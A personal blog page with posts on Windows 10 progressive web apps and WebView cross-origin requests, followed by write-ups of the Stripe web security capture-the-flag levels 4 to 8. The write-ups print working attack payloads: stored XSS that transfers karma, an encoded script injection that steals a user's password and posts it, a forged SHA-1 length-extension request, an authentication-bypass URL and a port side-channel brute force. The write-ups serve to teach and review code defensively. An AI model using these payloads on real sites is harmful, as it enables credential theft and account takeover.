Showing posts with label web. Show all posts
Showing posts with label web. Show all posts

Thursday, May 31, 2018

Win10 PWA Terminology

Folks familiar with JavaScript UWP apps in Win10 have often been confused by what PWAs in Win10 actually are. TLDR: PWAs in Win10 are simply JavaScript UWP apps. The main difference between these JS UWP Apps and our non-PWA JS UWP apps are our target end developer audience, and how we get Win10 PWAs into the Microsoft Store. See this Win10 blog post on PWAs on Win10 for related info.

Web App

On the web a subset of web sites are web apps. These are web sites that have app like behavior - that is a user might call it an app like Outlook, Maps or Gmail. And they may also have a W3C app manifest.

A subset of web apps are progressive web apps. Progressive web apps are web apps that have a W3C app manifest and a service worker. Various OSes are beginning to support PWAs as first class apps on their platform. This is true for Win10 as well in which PWAs are run as a WWA.

Windows Web App

In Win10 a WWA (Windows Web App) is an unofficial term for a JavaScript UWP app. These are UWP apps so they have an AppxManifest.xml, they are packaged in an Appx package, they run in an App Container, they use WinRT APIs, and are installed via the Microsoft Store. Specific to WWAs though, is that the AppxManifest.xml specifies a StartPage attribute identifying some HTML content to be used as the app. When the app is activated the OS will create a WWAHost.exe process that hosts the HTML content using the EdgeHtml rendering engine.

Packaged vs Hosted Web App

Within that we have a notion of a packaged web app and an HWA (hosted web app). There's no real technical distinction for the end developer between these two. The only real difference is whether the StartPage identifies remote HTML content on the web (HWA), or packaged HTML content from the app's appx package (packaged web app). An end developer may create an app that is a mix of these as well, with HTML content in the package and HTML content from the web. These terms are more like ends on a continuum and identifying two different developer scenarios since the underlying technical aspect is pretty much identical.

Win10 PWA

Win10 PWAs are simply HWAs that specify a StartPage of a URI for a PWA on the web. These are still JavaScript UWP apps with all the same behavior and abilities as other UWP apps. We have two ways of getting PWAs into the Microsoft Store as Win10 PWAs. The first is PWA Builder which is a tool that helps PWA end developers create and submit to the Microsoft Store a Win10 PWA appx package. The second is a crawler that runs over the web looking for PWAs which we convert and submit to the Store using an automated PWA Builder-like tool to create a Win10 PWA from PWAs on the web (see Welcoming PWAs to Win10 for more info). In both cases the conversion involves examining the PWAs W3C app manifest and producing a corresponding AppxManifest.xml. Not all features supported by AppxManifest.xml are also available in the W3c app manifest. But the result of PWA Builder can be a working starting point for end developers who can then update the AppxManifest.xml as they like to support features like share targets or others not available in W3C app manifests.

Thursday, June 2, 2016

Windows Store App WebView Cross Origin XMLHttpRequest Behavior

TL;DR: Web content in a JavaScript Windows Store app or WebView in a Windows Store app that has full access to WinRT also gets to use XHR unrestricted by cross origin checks.

By default web content in a WebView control in a Windows Store App has the same sort of limitations as that web content in a web browser. However, if you give the URI of that web content full access to WinRT, then the web content also gains the ability to use XMLHttpRequest unrestricted by cross origin checks. This means no CORS checks and no OPTIONS requests. This only works if the web content's URI matches a Rule in the ApplicationContentUriRules of your app's manifest and that Rule declares WindowsRuntimeAccess="all". If it declares WinRT access as 'None' or 'AllowForWebOnly' then XHR acts as it normally does.

In terms of security, if you've already given a page access to all of WinRT which includes the HttpRequest class and other networking classes that don't perform cross origin checks, then allowing XHR to skip CORS doesn't make things worse.

Friday, December 7, 2012

Stripe CTF - Level 8

Level 8 of the Stripe CTF is a password server that returns success: true if and only if the password provided matches the password stored directly via a RESTful API and optionally indirectly via a callback URI. The solution is side channel attack like a timing attack but with ports instead of time.

(I found this in my drafts folder and had intended to post a while ago.)

Code

    def nextServerCallback(self, data):
        parsed_data = json.loads(data)
        # Chunk was wrong!
        if not parsed_data['success']:
            # Defend against timing attacks
            remaining_time = self.expectedRemainingTime()
            self.log_info('Going to wait %s seconds before responding' %
                          remaining_time)
            reactor.callLater(remaining_time, self.sendResult, False)
            return

        self.checkNext()

Issue

The password server breaks the target password into four pieces and stores each on a different server. When a password request is sent to the main server it makes requests to the sub-servers for each part of the password request. It does this in series and if any part fails, then it stops midway through. Password requests may also be made with corresponding URI callbacks and after the server decides on the password makes an HTTP request on the provided URI callbacks saying if the password was success: true or false.
A timing attack looks at how long it took for a password to be rejected and longer times could mean a longer prefix of the password was correct allowing for a directed brute force attack. Timing attacks are prevented in this case by code on the password server that attempts to wait the same amount of time, even if the first sub-server responds with false. However, the server uses sequential outgoing port numbers shared between the requests to the sub-servers and the callback URIs. Accordingly, we can examine the port numbers on our callback URIs to direct a brute force attack.
If the password provided is totally incorrect then the password server will contact one sub-server and then your callback URI. So if you see the remote server's port number go up by two when requesting your callback URI, you know the password is totally incorrect. If by three then you know the first fourth of the password is correct and the rest is incorrect. If by four then two fourths of the password is correct. If by five then four sub-servers were contacted so you need to rely on the actual content of the callback URI request of 'success: true' or 'false' since you can't tell from the port change if the password was totally correct or not.
The trick in the real world is false positives. The port numbers are sequential over the system, so if the password server is the only thing making outgoing requests then its port numbers will also be sequential, however other things on the system can interrupt this. This means that the password server could contact three sub-servers and normally you'd see the port number increase by four, but really it could increase by four or more because of other things running on the system. To counteract this I ran in cycles: brute forcing the first fourth of the password and removing any entry that gets a two port increase and keeping all others. Eventually I could remove all but the correct first fourth of the password. And so on for the next parts of the password.
I wrote my app to brute force this in Python. This was my first time writing Python code so it is not pretty.


Thursday, September 13, 2012

Stripe CTF - Level 7

Level 7 of the Stripe CTF involved running a length extension attack on the level 7 server's custom crypto code.

Code

@app.route('/logs/<int:id>')
@require_authentication
def logs(id): 
    rows = get_logs(id) 
    return render_template('logs.html', logs=rows) 

...

def verify_signature(user_id, sig, raw_params):
    # get secret token for user_id
    try:
        row = g.db.select_one('users', {'id': user_id})
    except db.NotFound:
        raise BadSignature('no such user_id')
    secret = str(row['secret'])

    h = hashlib.sha1()
    h.update(secret + raw_params)
    print 'computed signature', h.hexdigest(), 'for body', repr(raw_params)
    if h.hexdigest() != sig:
        raise BadSignature('signature does not match')
    return True

Issue

The level 7 web app is a web API in which clients submit signed RESTful requests and some actions are restricted to particular clients. The goal is to view the response to one of the restricted actions. The first issue is that there is a logs path to display the previous requests for a user and although the logs path requires the client to be authenticatd, it doesn't restrict the logs you view to be for the user for which you are authenticated. So you can manually change the number in the '/logs/[#]' to '/logs/1' to view the logs for the user ID 1 who can make restricted requests. The level 7 web app can be exploited with replay attacks but you won't find in the logs any of the restricted requests we need to run for our goal. And we can't just modify the requests because they are signed.

However they are signed using their own custom signing code which can be exploited by a length extension attack. All Merkle–Damgård hash algorithms (which includes MD5, and SHA) have the property that if you hash data of the form (secret + data) where data is known and the length but not content of secret is known you can construct the hash for a new message (secret + data + padding + newdata) where newdata is whatever you like and padding is determined using newdata, data, and the length of secret. You can find a sha-padding.py script on VNSecurity blog that will tell you the new hash and padding per the above. With that I produced my new restricted request based on another user's previous request. The original request was the following.

count=10&lat=37.351&user_id=1&long=%2D119.827&waffle=eggo|sig:8dbd9dfa60ef3964b1ee0785a68760af8658048c
The new request with padding and my new content was the following.
count=10&lat=37.351&user_id=1&long=%2D119.827&waffle=eggo%80%02%28&waffle=liege|sig:8dbd9dfa60ef3964b1ee0785a68760af8658048c
My new data in the new request is able to overwrite the waffle parameter because their parser fills in a map without checking if the parameter existed previously.

Notes

Code review red flags included custom crypto looking code. However I am not a crypto expert and it was difficult for me to find the solution to this level.

Tuesday, September 11, 2012

Stripe CTF - Level 5

Level 5 of the Stripe CTF revolved around a design issue in an OpenID like protocol.

Code

    def authenticated?(body)
      body =~ /[^\w]AUTHENTICATED[^\w]*$/
    end

...

      if authenticated?(body)
        session[:auth_user] = username
        session[:auth_host] = host
        return "Remote server responded with: #{body}." \
               " Authenticated as #{username}@#{host}!"

Issue

This level is an implementation of a federated identity protocol. You give it an endpoint URI and a username and password, it posts the username and password to the endpoint URI, and if the response is 'AUTHENTICATED' then access is allowed. It is easy to be authenticated on a server you control, but this level requires you to authenticate from the server running the level. This level only talks to stripe CTF servers so the first step is to upload a document to the level 2 server containing the text 'AUTHENTICATED' and we can now authenticate on a level 2 server. Notice that the level 5 server will dump out the content of the endpoint URI and that the regexp it uses to detect the text 'AUTHENTICATED' can match on that dump. Accordingly I uploaded an authenticated file to

https://level02-2.stripe-ctf.com/user-ajvivlehdt/uploads/authenticated
Using that as my endpoint URI means authenticating as level 2. I can then choose the following endpoint URI to authenticate as level 5.
https://level05-1.stripe-ctf.com/user-qtoyekwrod/?pingback=https%3A%2F%2Flevel02-2.stripe-ctf.com%2Fuser-ajvivlehdt%2Fuploads%2Fauthenticated&username=a&password=a
Navigating to that URI results in the level 5 server telling me I'm authenticated as level 2 and lists the text of the level 2 file 'AUTHENTICATED'. Feeding this back into the level 5 server as my endpoint URI means level 5 seeing 'AUTHENTICATED' coming back from a level 5 URI.

Notes

I didn't see any particular code review red flags, really the issue here is that the regular expression testing for 'AUTHENTICATED' is too permisive and the protocol itself doesn't do enough. The protocol requires only a set piece of common literal text to be returned which makes it easy for a server to accidentally fall into authenticating. Having the endpoint URI have to return variable text based on the input would make it much harder for a server to accidentally authenticate.

Monday, September 10, 2012

Stripe CTF - XSS, CSRF (Levels 4 & 6)

Level 4 and level 6 of the Stripe CTF had solutions around XSS.

Level 4

Code

> Registered Users </h3>
<ul>
  <% @registered_users.each do |user| %>
  <% last_active = user[:last_active].strftime('%H:%M:%S UTC') %>
  <% if @trusts_me.include?(user[:username]) %>
  <li>
    <%= user[:username] %>
    (password: <%= user[:password] %>, last active <%= last_active %>)
  </li>

Issue

The level 4 web application lets you transfer karma to another user and in doing so you are also forced to expose your password to that user. The main user page displays a list of users who have transfered karma to you along with their password. The password is not HTML encoded so we can inject HTML into that user's browser. For instance, we could create an account with the following HTML as the password which will result in XSS with that HTML:

<script>jQuery.post("https://level04-2.stripe-ctf.com/user-kxyiuircqs/transfer", {"to": "l", "amount": 1});</script>
This HTML runs script that uses jQuery to post to the transfer URI resulting in a transfer of karma from the attacked user to the attacker user, and also the attacked user's password.

Notes

Code review red flags in this case included lack of encoding when using user controlled content to create HTML content, storing passwords in plain text in the database, and displaying passwords generally. By design the web app shows users passwords which is a very bad idea.

Level 6

Code

<script> 
    var username = "<%= @username %>"; 
    var post_data = <%= @posts.to_json %>; 

    function escapeHTML(val) { 
       return $('<div/>').text(val).html();
    } 

    function addPost(item) {
       var new_element = '<tr><th>' + escapeHTML(item['user']) + 
          '</th><td><h4>' + escapeHTML(item['title']) + '</h4>' + 
          escapeHTML(item['body']) + '</td></tr>'; $('#posts > tbody:last').prepend(new_element); 
    } 
    
    for(var i = 0; i < post_data.length; i++) { 
       var item = post_data[i]; 
       addPost(item); 
    }; 
</script>

...

    def self.safe_insert(table, key_values)
      key_values.each do |key, value|
        # Just in case people try to exfiltrate
        # level07-password-holder's password
        if value.kind_of?(String) &&
            (value.include?('"') || value.include?("'"))
          raise "Value has unsafe characters"
        end
      end

      conn[table].insert(key_values)
    end

Issue

This web app does a much better job than the level 4 app with HTML injection. They use encoding whenever creating HTML using user controlled data, however they don't use encoding when injecting JSON data into script (see post_data initialization above). This JSON data is the last five most recent messages sent on the app so we get to inject script directly. However, the system also ensures that no strings we write contains single or double quotes so we can't get out of the string in the JSON data directly. As it turns out, HTML lets you jump out of a script block using </script> no matter where you are in script. For instance, in the middle of a value in some JSON data we can jump out of script. But we still want to run script, so we can jump right back in. So the frame so far for the message we're going to post is the following:

</script><script> our new code goes here </script><script>var post_data = [];//
Because we can't use quotes, actually running script takes some creativity. I decided to percent-encode my script so quotes don't show up directly, represent this as a regular expression literal so I don't have to use quotes and to eval this script after decoding. There's likely plenty of other ways to get around lack of quotes.
var code = /percent-encoded script here/.toString();
eval(decodeURIComponent(code.substring(1, code.length - 1))); 
Then the script I actually encode gets the password from the user-info page (which includes password), regexes the password out, and posts it as a message:
jQuery.get("https://level06-2.stripe-ctf.com/user-nhboioztch/user_info").then(function(body) {
var password = /Password:<\/th>[^>]*>([^<]*)/.exec(body)[1];
var encPassword = "";
for (var idx = 0; idx < password.length; ++idx) {
 encPassword += "%";
 encPassword += password.charCodeAt(idx).toString(16);
}

$("#content").val(encPassword);
$("#title").val("password");
document.getElementsByTagName("form")[0].submit();
});
Of course since messages can't include quotes, I have to encode the password before posting it as a message.

Altogether now here's my message:

</script><script>var code = /%6A%51%75%65%72%79%2E%67%65%74%28%22%68%74%74%70%73%3A%2F%2F%6C%65%76%65%6C%30%36%2D%32%2E%73%74%72%69%70%65%2D%63%74%66%2E%63%6F%6D%2F%75%73%65%72%2D%6E%68%62%6F%69%6F%7A%74%63%68%2F%75%73%65%72%5F%69%6E%66%6F%22%29%2E%74%68%65%6E%28%66%75%6E%63%74%69%6F%6E%28%62%6F%64%79%29%20%7B%0A%76%61%72%20%70%61%73%73%77%6F%72%64%20%3D%20%2F%50%61%73%73%77%6F%72%64%3A%3C%5C%2F%74%68%3E%5B%5E%3E%5D%2A%3E%28%5B%5E%3C%5D%2A%29%2F%2E%65%78%65%63%28%62%6F%64%79%29%5B%31%5D%3B%0A%76%61%72%20%65%6E%63%50%61%73%73%77%6F%72%64%20%3D%20%22%22%3B%0A%66%6F%72%20%28%76%61%72%20%69%64%78%20%3D%20%30%3B%20%69%64%78%20%3C%20%70%61%73%73%77%6F%72%64%2E%6C%65%6E%67%74%68%3B%20%2B%2B%69%64%78%29%20%7B%0A%09%65%6E%63%50%61%73%73%77%6F%72%64%20%2B%3D%20%22%25%22%3B%0A%09%65%6E%63%50%61%73%73%77%6F%72%64%20%2B%3D%20%70%61%73%73%77%6F%72%64%2E%63%68%61%72%43%6F%64%65%41%74%28%69%64%78%29%2E%74%6F%53%74%72%69%6E%67%28%31%36%29%3B%0A%7D%0A%0A%24%28%22%23%63%6F%6E%74%65%6E%74%22%29%2E%76%61%6C%28%65%6E%63%50%61%73%73%77%6F%72%64%29%3B%0A%24%28%22%23%74%69%74%6C%65%22%29%2E%76%61%6C%28%22%70%61%73%73%77%6F%72%64%22%29%3B%0A%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%22%66%6F%72%6D%22%29%5B%30%5D%2E%73%75%62%6D%69%74%28%29%3B%0A%7D%29%3B/.toString(); eval(decodeURIComponent(code.substring(1, code.length - 1))); </script><script>var post_data= [];//

Notes

Code review red flags included storing the password in plain text, displaying the password in an HTML page, lack of encoding when generating script on the server side, and a deny list of dangerous characters (quotes). Generally folks should use allow lists not deny lists. You'll always forget something from your deny list or the platform will change out from under you adding new dangerous entries you didn't consider in your deny list. In this case an allow list probably also doesn't make as much sense as encoding correctly. The first issue I ran into, was when posting the password I forgot to encode and the password did contain quotes. The second issue I ran into was that my injected script posts a message which results in a page refresh, which results in my injected script running again. This continues five times until my injected script message is pushed off the end. I had to be patient waiting for the target attacked user to login before I would refresh and post my own password.

Thursday, August 30, 2012

Stripe Web Security CTF Summary

I was the 546th person to complete Stripe's web security CTF and again had a ton of fun applying my theoretical knowledge of web security issues to the (semi-)real world. As I went through the levels I thought about what red flags jumped out at me (or should have) that I could apply to future code reviews:

LevelIssueCode Review Red Flags
0Simple SQL injectionNo encoding when constructing SQL command strings. Constructing SQL command strings instead of SQL API
1extract($_GET);No input validation.
2Arbitrary PHP executionNo input validation. Allow file uploads. File permissions modification.
3Advanced SQL injectionConstructing SQL command strings instead of SQL API.
4HTML injection, XSS and CSRFNo encoding when constructing HTML. No CSRF counter measures. Passwords stored in plain text. Password displayed on site.
5Pingback server doesn't need to opt-inn/a - By design protocol issue.
6Script injection and XSSNo encoding while constructing script. Deny list (of dangerous characters). Passwords stored in plain text. Password displayed on site.
7Length extension attackCustom crypto code. Constructing SQL command string instead of SQL API.
8Side channel attackPassword handling code. Timing attack mitigation too clever.

More about each level in the future.